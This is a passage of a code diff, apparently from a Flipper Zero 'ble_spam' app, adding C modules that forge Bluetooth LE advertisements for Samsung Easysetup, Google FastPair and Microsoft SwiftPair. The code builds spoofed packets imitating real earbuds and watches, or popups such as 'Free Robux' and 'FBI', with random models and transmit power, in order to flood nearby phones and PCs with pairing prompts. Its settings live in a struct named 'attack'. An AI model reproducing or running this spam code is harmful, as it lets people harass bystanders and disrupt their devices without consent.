+        packet[i++] = 0x81;
+        packet[i++] = 0x02;
+        packet[i++] = 0x14;
+        packet[i++] = 0x15;
+        packet[i++] = 0x03;
+        packet[i++] = 0x21;
+        packet[i++] = 0x01;
+        packet[i++] = 0x09;
+        packet[i++] = (model >> 0x10) & 0xFF;
+        packet[i++] = (model >> 0x08) & 0xFF;
+        packet[i++] = 0x01;
+        packet[i++] = (model >> 0x00) & 0xFF;
+        packet[i++] = 0x06;
+        packet[i++] = 0x3C;
+        packet[i++] = 0x94;
+        packet[i++] = 0x8E;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0xC7;
+        packet[i++] = 0x00;
+
+        packet[i++] = 16; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        // Truncated AD segment, Android seems to fill in the rest with zeros
+        break;
+    }
+    case EasysetupTypeWatch: {
+        uint8_t model;
+        if(cfg && cfg->data.watch.model != 0x00) {
+            model = cfg->data.watch.model;
+        } else {
+            model = watch_models[rand() % watch_models_count].value;
+        }
+
+        packet[i++] = 14; // Size
+        packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+        packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.)
+        packet[i++] = 0x00; // ...
+        packet[i++] = 0x01;
+        packet[i++] = 0x00;
+        packet[i++] = 0x02;
+        packet[i++] = 0x00;
+        packet[i++] = 0x01;
+        packet[i++] = 0x01;
+        packet[i++] = 0xFF;
+        packet[i++] = 0x00;
+        packet[i++] = 0x00;
+        packet[i++] = 0x43;
+        packet[i++] = (model >> 0x00) & 0xFF;
+        break;
+    }
+    default:
+        break;
+    }
+
+    *out_size = size;
+    *out_packet = packet;
+}
+
+enum {
+    _ConfigBudsExtraStart = ConfigExtraStart,
+    ConfigBudsModel,
+    ConfigBudsInfoVersion,
+    ConfigBudsCOUNT,
+};
+enum {
+    _ConfigWatchExtraStart = ConfigExtraStart,
+    ConfigWatchModel,
+    ConfigWatchCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(cfg->type) {
+    case EasysetupTypeBuds: {
+        switch(index) {
+        case ConfigBudsModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel);
+            break;
+        case ConfigBudsInfoVersion:
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    case EasysetupTypeWatch: {
+        switch(index) {
+        case ConfigWatchModel:
+            scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel);
+            break;
+        default:
+            ctx->fallback_config_enter(ctx, index);
+            break;
+        }
+        break;
+    }
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void buds_model_changed(VariableItem* item) {
+    EasysetupCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.buds.model = buds_models[index].value;
+        variable_item_set_current_value_text(item, buds_models[index].name);
+    } else {
+        cfg->data.buds.model = 0x000000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void watch_model_changed(VariableItem* item) {
+    EasysetupCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->data.watch.model = watch_models[index].value;
+        variable_item_set_current_value_text(item, watch_models[index].name);
+    } else {
+        cfg->data.watch.model = 0x00;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void easysetup_extra_config(Ctx* ctx) {
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    switch(cfg->type) {
+    case EasysetupTypeBuds: {
+        item = variable_item_list_add(
+            list, "Model Code", buds_models_count + 1, buds_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[9];
+        if(cfg->data.buds.model == 0x000000) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < buds_models_count; i++) {
+                if(cfg->data.buds.model == buds_models[i].value) {
+                    model_name = buds_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model);
+                model_name = model_name_buf;
+                value_index = buds_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+
+        variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL);
+        break;
+    }
+    case EasysetupTypeWatch: {
+        item = variable_item_list_add(
+            list, "Model Code", watch_models_count + 1, watch_model_changed, cfg);
+        const char* model_name = NULL;
+        char model_name_buf[3];
+        if(cfg->data.watch.model == 0x00) {
+            model_name = "Random";
+            value_index = 0;
+        } else {
+            for(uint8_t i = 0; i < watch_models_count; i++) {
+                if(cfg->data.watch.model == watch_models[i].value) {
+                    model_name = watch_models[i].name;
+                    value_index = i + 1;
+                    break;
+                }
+            }
+            if(!model_name) {
+                snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model);
+                model_name = model_name_buf;
+                value_index = watch_models_count + 1;
+            }
+        }
+        variable_item_set_current_value_index(item, value_index);
+        variable_item_set_current_value_text(item, model_name);
+        break;
+    }
+    default:
+        break;
+    }
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t config_counts[EasysetupTypeCOUNT] = {
+    [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1,
+    [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1,
+};
+static uint8_t easysetup_config_count(const ProtocolCfg* _cfg) {
+    const EasysetupCfg* cfg = &_cfg->easysetup;
+    return config_counts[cfg->type];
+}
+
+const Protocol protocol_easysetup = {
+    .icon = &I_android,
+    .get_name = easysetup_get_name,
+    .make_packet = easysetup_make_packet,
+    .extra_config = easysetup_extra_config,
+    .config_count = easysetup_config_count,
+};
+
+static void buds_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    switch(index) {
+    case 0:
+        cfg->data.buds.model = 0x000000;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case buds_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
+        break;
+    default:
+        cfg->data.buds.model = buds_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_easysetup_buds_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
+    if(cfg->data.buds.model == 0x000000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < buds_models_count; i++) {
+        submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
+        if(!found && cfg->data.buds.model == buds_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = buds_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_buds_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void buds_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
+    ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
+    ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    cfg->data.buds.model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+}
+
+static void watch_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    switch(index) {
+    case 0:
+        cfg->data.watch.model = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case watch_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
+        break;
+    default:
+        cfg->data.watch.model = watch_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_easysetup_watch_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
+    if(cfg->data.watch.model == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < watch_models_count; i++) {
+        submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
+        if(!found && cfg->data.watch.model == watch_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = watch_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_watch_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void watch_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
+}

+ 25 - 0
ble_spam/protocols/easysetup.h

@@ -0,0 +1,25 @@
+#pragma once
+#include "_base.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Research by @Spooks4576
+
+typedef enum {
+    EasysetupTypeBuds,
+    EasysetupTypeWatch,
+    EasysetupTypeCOUNT,
+} EasysetupType;
+
+typedef struct {
+    EasysetupType type;
+    union {
+        struct {
+            uint32_t model;
+        } buds;
+        struct {
+            uint8_t model;
+        } watch;
+    } data;
+} EasysetupCfg;
+
+extern const Protocol protocol_easysetup;

+ 4 - 0
ble_spam/protocols/easysetup_scenes.h

@@ -0,0 +1,4 @@
+ADD_SCENE(easysetup_buds_model, EasysetupBudsModel)
+ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom)
+ADD_SCENE(easysetup_watch_model, EasysetupWatchModel)
+ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom)

+ 212 - 32
ble_spam/protocols/fastpair.c

@@ -1,39 +1,57 @@
 #include "fastpair.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL and @Spooks4576
 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
 
-const char* fastpair_get_name(const BleSpamMsg* _msg) {
-    const FastpairMsg* msg = &_msg->fastpair;
-    UNUSED(msg);
+const struct {
+    uint32_t value;
+    const char* name;
+} models[] = {
+    // Genuine devices
+    {0xCD8256, "Bose NC 700"},
+    {0xF52494, "JBL Buds Pro"},
+    {0x718FA4, "JBL Live 300TWS"},
+    {0x821F66, "JBL Flip 6"},
+    {0x92BBBD, "Pixel Buds"},
+    {0xD446A7, "Sony XM5"},
+    {0x2D7A23, "Sony WF-1000XM4"},
+    {0x0E30C3, "Razer Hammerhead TWS"},
+    {0x72EF8D, "Razer Hammerhead TWS X"},
+    {0x72FB00, "Soundcore Spirit Pro GVA"},
+
+    // Custom debug popups
+    {0xD99CA1, "Flipper Zero"},
+    {0x77FF67, "Free Robux"},
+    {0xAA187F, "Free VBucks"},
+    {0xDCE9EA, "Rickroll"},
+    {0x87B25F, "Animated Rickroll"},
+    {0xF38C02, "Boykisser"},
+    {0x1448C9, "BLM"},
+    {0xD5AB33, "Xtreme"},
+    {0x0C0B67, "Xtreme Cta"},
+    {0x13B39D, "Talking Sasquach"},
+    {0xAA1FE1, "ClownMaster"},
+    {0x7C6CDB, "Obama"},
+    {0x005EF9, "Ryanair"},
+    {0xE2106F, "FBI"},
+    {0xB37A62, "Tesla"},
+};
+const uint8_t models_count = COUNT_OF(models);
+
+static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
     return "FastPair";
 }
 
-void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
+static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
 
-    uint32_t model_id;
-    if(msg && msg->model_id != 0x000000) {
-        model_id = msg->model_id;
+    uint32_t model;
+    if(cfg && cfg->model != 0x000000) {
+        model = cfg->model;
     } else {
-        const uint32_t models[] = {
-            // Genuine devices
-            0xCD8256, // Bose NC 700
-            0xF52494, // JBL Buds Pro
-            0x718FA4, // JBL Live 300TWS
-            0x821F66, // JBL Flip 6
-            0x92BBBD, // Pixel Buds
-
-            // Custom debug popups
-            0xAA1FE1, // ClownMaster
-            0xAA187F, // VBucks
-            0xF38C02, // Boykisser
-            0x1448C9, // BLM
-            0xD5AB33, // Xtreme
-            0x13B39D, // Talking Sasquach
-        };
-        model_id = models[rand() % COUNT_OF(models)];
+        model = models[rand() % models_count].value;
     }
 
     uint8_t size = 14;
@@ -49,20 +67,182 @@ void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpam
     packet[i++] = 0x16; // AD Type (Service Data)
     packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
     packet[i++] = 0xFE; // ...
-    packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
-    packet[i++] = (model_id >> 0x08) & 0xFF; // ...
-    packet[i++] = (model_id >> 0x00) & 0xFF; // ...
+    packet[i++] = (model >> 0x10) & 0xFF;
+    packet[i++] = (model >> 0x08) & 0xFF;
+    packet[i++] = (model >> 0x00) & 0xFF;
 
     packet[i++] = 2; // Size
     packet[i++] = 0x0A; // AD Type (Tx Power Level)
     packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
+}
+
+enum {
+    _ConfigExtraStart = ConfigExtraStart,
+    ConfigModel,
+    ConfigInfoRequire,
+    ConfigCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(index) {
+    case ConfigModel:
+        scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
+        break;
+    case ConfigInfoRequire:
+        break;
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void model_changed(VariableItem* item) {
+    FastpairCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->model = models[index].value;
+        variable_item_set_current_value_text(item, models[index].name);
+    } else {
+        cfg->model = 0x000000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void fastpair_extra_config(Ctx* ctx) {
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
+    const char* model_name = NULL;
+    char model_name_buf[9];
+    if(cfg->model == 0x000000) {
+        model_name = "Random";
+        value_index = 0;
+    } else {
+        for(uint8_t i = 0; i < models_count; i++) {
+            if(cfg->model == models[i].value) {
+                model_name = models[i].name;
+                value_index = i + 1;
+                break;
+            }
+        }
+        if(!model_name) {
+            snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
+            model_name = model_name_buf;
+            value_index = models_count + 1;
+        }
+    }
+    variable_item_set_current_value_index(item, value_index);
+    variable_item_set_current_value_text(item, model_name);
+
+    variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
+    return ConfigCOUNT - ConfigExtraStart - 1;
 }
 
-const BleSpamProtocol ble_spam_protocol_fastpair = {
+const Protocol protocol_fastpair = {
     .icon = &I_android,
     .get_name = fastpair_get_name,
     .make_packet = fastpair_make_packet,
+    .extra_config = fastpair_extra_config,
+    .config_count = fastpair_config_count,
 };
+
+static void model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    switch(index) {
+    case 0:
+        cfg->model = 0x000000;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
+        break;
+    default:
+        cfg->model = models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_fastpair_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, model_callback, ctx);
+    if(cfg->model == 0x000000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < models_count; i++) {
+        submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
+        if(!found && cfg->model == models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_fastpair_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_fastpair_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
+    ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
+    ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_fastpair_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    cfg->model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+}

+ 3 - 3
ble_spam/protocols/fastpair.h

@@ -5,7 +5,7 @@
 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
 
 typedef struct {
-    uint32_t model_id;
-} FastpairMsg;
+    uint32_t model;
+} FastpairCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_fastpair;
+extern const Protocol protocol_fastpair;

+ 2 - 0
ble_spam/protocols/fastpair_scenes.h

@@ -0,0 +1,2 @@
+ADD_SCENE(fastpair_model, FastpairModel)
+ADD_SCENE(fastpair_model_custom, FastpairModelCustom)

+ 84 - 17
ble_spam/protocols/swiftpair.c

@@ -1,21 +1,20 @@
 #include "swiftpair.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL and @Spooks4576
 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
 
-const char* swiftpair_get_name(const BleSpamMsg* _msg) {
-    const SwiftpairMsg* msg = &_msg->swiftpair;
-    UNUSED(msg);
+static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
     return "SwiftPair";
 }
 
-void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
+static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
 
-    const char* display_name;
-    if(msg && msg->display_name[0] != '\0') {
-        display_name = msg->display_name;
+    const char* name;
+    if(cfg && cfg->name[0] != '\0') {
+        name = cfg->name;
     } else {
         const char* names[] = {
             "Assquach💦",
@@ -25,11 +24,11 @@ void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpa
             "👉👌",
             "🔵🦷",
         };
-        display_name = names[rand() % COUNT_OF(names)];
+        name = names[rand() % COUNT_OF(names)];
     }
-    uint8_t display_name_len = strlen(display_name);
+    uint8_t name_len = strlen(name);
 
-    uint8_t size = 7 + display_name_len;
+    uint8_t size = 7 + name_len;
     uint8_t* packet = malloc(size);
     uint8_t i = 0;
 
@@ -40,15 +39,83 @@ void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpa
     packet[i++] = 0x03; // Microsoft Beacon ID
     packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
     packet[i++] = 0x80; // Reserved RSSI Byte
-    memcpy(&packet[i], display_name, display_name_len); // Display Name
-    i += display_name_len;
+    memcpy(&packet[i], name, name_len);
+    i += name_len;
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
 }
 
-const BleSpamProtocol ble_spam_protocol_swiftpair = {
+enum {
+    _ConfigExtraStart = ConfigExtraStart,
+    ConfigName,
+    ConfigInfoRequire,
+    ConfigCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(index) {
+    case ConfigName:
+        scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
+        break;
+    case ConfigInfoRequire:
+        break;
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void swiftpair_extra_config(Ctx* ctx) {
+    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+
+    item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
+    variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
+
+    variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
+    return ConfigCOUNT - ConfigExtraStart - 1;
+}
+
+const Protocol protocol_swiftpair = {
     .icon = &I_windows,
     .get_name = swiftpair_get_name,
     .make_packet = swiftpair_make_packet,
+    .extra_config = swiftpair_extra_config,
+    .config_count = swiftpair_config_count,
 };
+
+static void name_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_swiftpair_name_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+    TextInput* text_input = ctx->text_input;
+    text_input_reset(text_input);
+
+    text_input_set_header_text(text_input, "Leave empty for random");
+
+    text_input_set_result_callback(
+        text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
+
+    text_input_set_minimum_length(text_input, 0);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
+}
+bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_swiftpair_name_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 3 - 3
ble_spam/protocols/swiftpair.h

@@ -5,7 +5,7 @@
 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
 
 typedef struct {
-    char display_name[25];
-} SwiftpairMsg;
+    char name[25];
+} SwiftpairCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_swiftpair;
+extern const Protocol protocol_swiftpair;

+ 1 - 0
ble_spam/protocols/swiftpair_scenes.h

@@ -0,0 +1 @@
+ADD_SCENE(swiftpair_name, SwiftpairName)

+ 3 - 0
ble_spam/scenes/_scenes.h

@@ -0,0 +1,3 @@
+ADD_SCENE(main, Main)
+ADD_SCENE(config, Config)
+#include "../protocols/_scenes.h"

+ 30 - 0
ble_spam/scenes/_setup.c

@@ -0,0 +1,30 @@
+#include "_setup.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_enter,
+void (*const scene_on_enter_handlers[])(void*) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_event,
+bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_exit,
+void (*const scene_on_exit_handlers[])(void*) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers scene_handlers = {
+    .on_enter_handlers = scene_on_enter_handlers,
+    .on_event_handlers = scene_on_event_handlers,
+    .on_exit_handlers = scene_on_exit_handlers,
+    .scene_num = SceneCOUNT,
+};

+ 28 - 0
ble_spam/scenes/_setup.h

@@ -0,0 +1,28 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(name, id) Scene##id,
+typedef enum {
+#include "_scenes.h"
+    SceneCOUNT,
+} Scene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*);
+#include "_scenes.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent);
+#include "_scenes.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*);
+#include "_scenes.h"
+#undef ADD_SCENE

+ 75 - 0
